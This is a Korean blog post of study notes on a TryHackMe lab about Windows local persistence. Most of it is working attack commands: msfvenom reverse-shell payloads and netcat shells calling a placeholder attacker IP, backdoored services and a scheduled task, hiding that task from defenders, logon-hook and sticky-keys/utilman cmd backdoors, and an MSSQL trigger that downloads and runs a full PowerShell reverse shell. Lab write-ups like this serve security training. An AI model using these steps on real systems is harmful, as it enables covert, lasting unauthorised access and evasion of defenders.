THM - Windows Local Persistence (3)

2023. 9. 25. 16:39·System/침투

TASK 4. 서비스 남용

4.1 Creating backdoor services

 

1) 리버스쉘 페이로드 만들기

msfvenom -p windows/x64/shell_reverse_tcp LHOST={ATTACKER_IP} LPORT=4448 -f exe-service -o rev-svc.exe

* 포맷이 exe-service이다.

 

2) 가져오기 

scp root@{ATTACKER_IP}:/root/rev-svc.exe c:\windows\


3) nc 리스닝

 

4) 서비스 등록하기

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

 

 

4.2 Modifying existing services

블루팀이 네트워크 내 새로운 서비스 생성을 모니터링할 수도 있다. 탐지를 피하기 위해 기존 서비스를 재사용하는 방법도 존재한다.

보통 비활성화된 서비스는 사용자가 인지하지 못한 채 변경될 수 있으므로 좋은 백도어 후보가 될 수 있다.

1) 서비스 열거

 sc.exe query state=all

 

stopped 상태의 서비스를 목표로 한다.

 

2) 서비스 구성 쿼리

sc.exe qc THMService3

 

마침 BINARY_PATH_NAME 이 LocalSystem이다. 해당 서비스는 SYSTEM 권한으로 실행된다.

 

3) nc 리스닝

 

4) PATH 변경

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc.exe" start= auto obj= "LocalSystem"

BINARY_PATH_NAME를 변경하자.

 

 


TASK 5. 예약 작업 남용

5.1 Task Scheduler

작업을 예약하는 가장 일반적인 방법 : schtasks

 

1) 예약 작업 생성

schtasks /create /sc minute /mo 1 /tn {TASK_NAME} /tr "c:\tools\nc64 -e cmd.exe {ATTACKER_IP} 4449" /ru SYSTEM

→ 1분마다 리버스쉘을 실행하는 작업

 

 

2) 확인

schtasks /query /tn {TASK_NAME}

 

 

3) 예약 작업 숨기기

SD를 삭제하여 시스템의 모든 사용자에게 해당 작업이 보이지 않도록 하자.

→ SD : 예약된 작업에 액세스할 수 있는 사용자를 나타내는 ACL

→ Windows에서는 사용 권한이 있는 작업만 표시하므로, SD를 삭제하면 해당 작업을 볼 수 없음

 

a. SYSTEM 권한으로 rededit을 오픈

PsExec64.exe -s -i regedit

 

b. SD 제거

예약된 작업의 SD는 아래 경로에서 확인 가능하다.

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{작업명}

 

여기서 생성한 작업의 SD를 제거하면 된다.

 

c. 제거되었는지 확인

schtasks /query /tn thm-taskbackdoor


 


TASK 6. 로그온

6.1 Startup folder

사용자가 시스템에 로그인할 떄 특정 페이로드가 실행되도록 하는 방법이다.

 

[각 사용자의 시작 프로그램]

C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

[모든 사용자의 시작 프로그램]

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

 

1) 리버스쉘 페이로드 생성

msfvenom -p windows/x64/shell_reverse_tcp LHOST={ATTACKER_IP} LPORT=4444 -f exe -o rev_shell.exe

 

2) 타겟에 업로드 후, 시작프로그램 폴더로 이동

scp root@{ATTACKER_IP}:/root/rev_shell.exe .\

 

3) nc 리스닝 

 

4) 로그아웃 후 로그온

 

 


6.2 Run / RunOnce

1) 리버스쉘 페이로드 생성

- C:\Windows 경로로 페이로드 이동

 

2) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 에서 시작 프로그램 추가

→ RFG_EXPAND_SZ

 

3) nc 리스닝

 

4) 로그아웃 후 로그온

 

 


 

6.3  Winlogon

사용자 프로필을 로드하는 Windows 구성 요소인 Winlogon을 이용한 방법이다.

 

 

1) 

아래 경로로 접근하면 Winlogon 관련 키를 확인할 수 있다.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\

여기서 타겟은 Shell 또는 Userinit이 된다.

둘다 exe 파일을 실행하도록 되어 있는데, 파일을 리버스쉘 페이로드로 변경해줄 것이다.

 

2) 리버스쉘 페이로드 생성

- C:\Windows 경로로 페이로드 이동

 

3)  Shell 또는 Userinit의 Data값 변경

 

4) nc 리스닝

 

5) 로그아웃 후 로그온

 

 


6.4 Logon scripts

사용자 프로필 로드 시 수행되는 작업 중 하나는, UserInitMprLogonScript 환경변수를 확인하는 것이다.

해당 환경변수를 사용하여 로그온 시 실행될 스크립트를 할당할 수 있는데, 기본적으로 설정되어 있지 않기 때문에 변수를 생성해주어야 한다.

 

1) 아래 경로로 접근하여 현 사용자의 환경변수를 확인

HKCU\Environment

* HKCU로, 여기서 수행하는 작업은 현 사용자에게만 적용된다.

 

2) 리버스쉘 페이로드 생성

- C:\Windows 경로로 페이로드 이동


3) UserInitMprLogonScript 환경변수 생성 후 Date 값 설정

 

4) nc 리스닝

 

5) 로그아웃 후 로그온

 


 

TASK 7 Backdooring the Login Screen / RDP

7.1 Sticky Keys

shift 키를 다섯 번 누르면 뜨는 고정 키 팝업을 이용한 방법이다.

 


이 떄, C:\Windows\System32\sethc.exe 파일이 실행되는데, 이를 cmd로 변경하면 로그인하지 않아도 cmd를 실행할 수 있다.

 

1) 파일의 소유권을 현재 사용자로 가져오기

takeown /f c:\Windows\System32\sethc.exe

 

2) 수정권한 부여하기

icacls C:\Windows\System32\sethc.exe /grant Administrator:F

 

3) sethc.exe 파일 백업 후, cmd 파일로 대체하기

move C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_bak.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

 

4) 로그인 화면에서 cmd 열기

 

 

7.2 Utilman

Utilman은 로그인 화면에서 접근성 옵션을 제공하는 기능이다.

해당 버튼을 클릭하면 C:\Windows\System32\Utilman.exe 이 SYSTEM 권한으로 실행된다. 7.1과 동일하게 해당 파일을 cmd로 대체할 것이다.

1) 파일의 소유권을 현재 사용자로 가져오기

takeown /f c:\Windows\System32\utilman.exe

 

2) 수정권한 부여하기

icacls C:\Windows\System32\utilman.exe /grant Administrator:F

 

3) utilman.exe 파일 백업 후, cmd 파일로 대체하기

move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_bak.exe
copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

 

4) 로그인 화면에서 cmd 열기

 


 

TASK 8 Persisting Through Existing Services

Windows 기능 외에도 다른 방법을 사용할 수 있다.

 

8.1 Web Shell

타겟의 웹 서버 경로에 웹쉘 업로드하기

8.2 MSSQL

MSSQL의 트리거를 사용하면 DB에서 특정 이벤트 발생 시 수행할 작업을 바인딩할 수 있다.

: INSERT, DELETE, UPDATE등의 이벤트 발생 → 트리거 발동

 

1) 저장 프로시저 활성화

MSSQL에서 기본적으로 제공하는 저장프로시저인 xp_cmdshel를 활성화한다.

*시스템 콘솔에서 직접 명령을 실행할 수 있도록 하는 프로시저로, 기본적으로 비활성화 상태임

 

a. Microsoft SQL Server Management Studio 18 열기

b. New Query

c. 쿼리 실행

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

 

 

2)

xp_cmdshell는  sysadmin 역할에 속한 사용자만 수행 가능하다. 

sysadmin에 속한 sa 계정을 가장할 수 있는 권한을 부여하는 쿼리를 실행해주자.

USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];

 

3) 트리거 구성

USE HRDB

# Employees 테이블에 새로운 레코드가 삽입될 때 실행된다
CREATE TRIGGER [sql_trigger]
ON HRDB.dbo.Employees 
FOR INSERT AS

# 트리거는 sa 계정으로 실행되며, "xp_cmdshell"을 사용하여 Powershell 명령을 실행한다
EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://{ATTACKER_IP}:8888/script.ps1'')"';

 

 

4) 공격자 서버에 script.ps1 생성

$client = New-Object System.Net.Sockets.TCPClient("{ATTACKER_IP}",4444);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

 

 

5) 공격자 서버에서 간단한 웹서버 열기 + nc 리스닝

python3 -m http.server 8888

 

 

6) 타겟 웹서버로 접근하여 INSERT 이벤트 수행

저작자표시 (새창열림)

'System > 침투' 카테고리의 다른 글

THM - Breaching Active Directory (2)  (1) 2023.10.12
THM - Breaching Active Directory (1)  (0) 2023.09.27
THM - Windows Local Persistence (2)  (0) 2023.09.25
THM - Windows Local Persistence (1)  (0) 2023.09.25
reverse shell - fifo  (0) 2023.09.19
'System/침투' 카테고리의 다른 글
  • THM - Breaching Active Directory (2)
  • THM - Breaching Active Directory (1)
  • THM - Windows Local Persistence (2)
  • THM - Windows Local Persistence (1)
병뚜
병뚜
열정!
  • 병뚜
    열려라 뚜껑
    병뚜
  • 전체
    오늘
    어제
    • all (372)
      • 일상X사랑X돈 (0)
        • 보안이슈 (114)
        • 뜨거운감자 (9)
        • 맛집 (2)
        • 혼잣말 (16)
      • 보안 (87)
        • 웹·모바일 (46)
        • 인프라 (19)
        • 리버싱 (8)
        • Security-Gym (10)
        • 리뷰 (4)
      • 프로그래밍 (66)
        • python (14)
        • java (12)
        • js (40)
      • System (47)
        • OS (14)
        • 침투 (33)
      • Play (20)
        • wargame (20)
      • 기타 (10)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    공급망공격
    혼공학습단
    파이썬입문
    파이썬공부
    혼공
    혼자공부하는파이썬
    it이슈
    파이썬
    혼공파
    보안뉴스
    리버싱초보
    커널디버깅
    혼공단
    드림핵리버싱
    악성코드
    kisa
    리버싱
    자바스크립트 상속
    뉴스요약
    프로세스
    정보보안
    보안이슈
    IT뉴스
    랜섬웨어
    정보보호
    정보보안교육
    윈도우인터널스
    파이썬초보
    jwt
    windows internals
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
병뚜
THM - Windows Local Persistence (3)
상단으로

티스토리툴바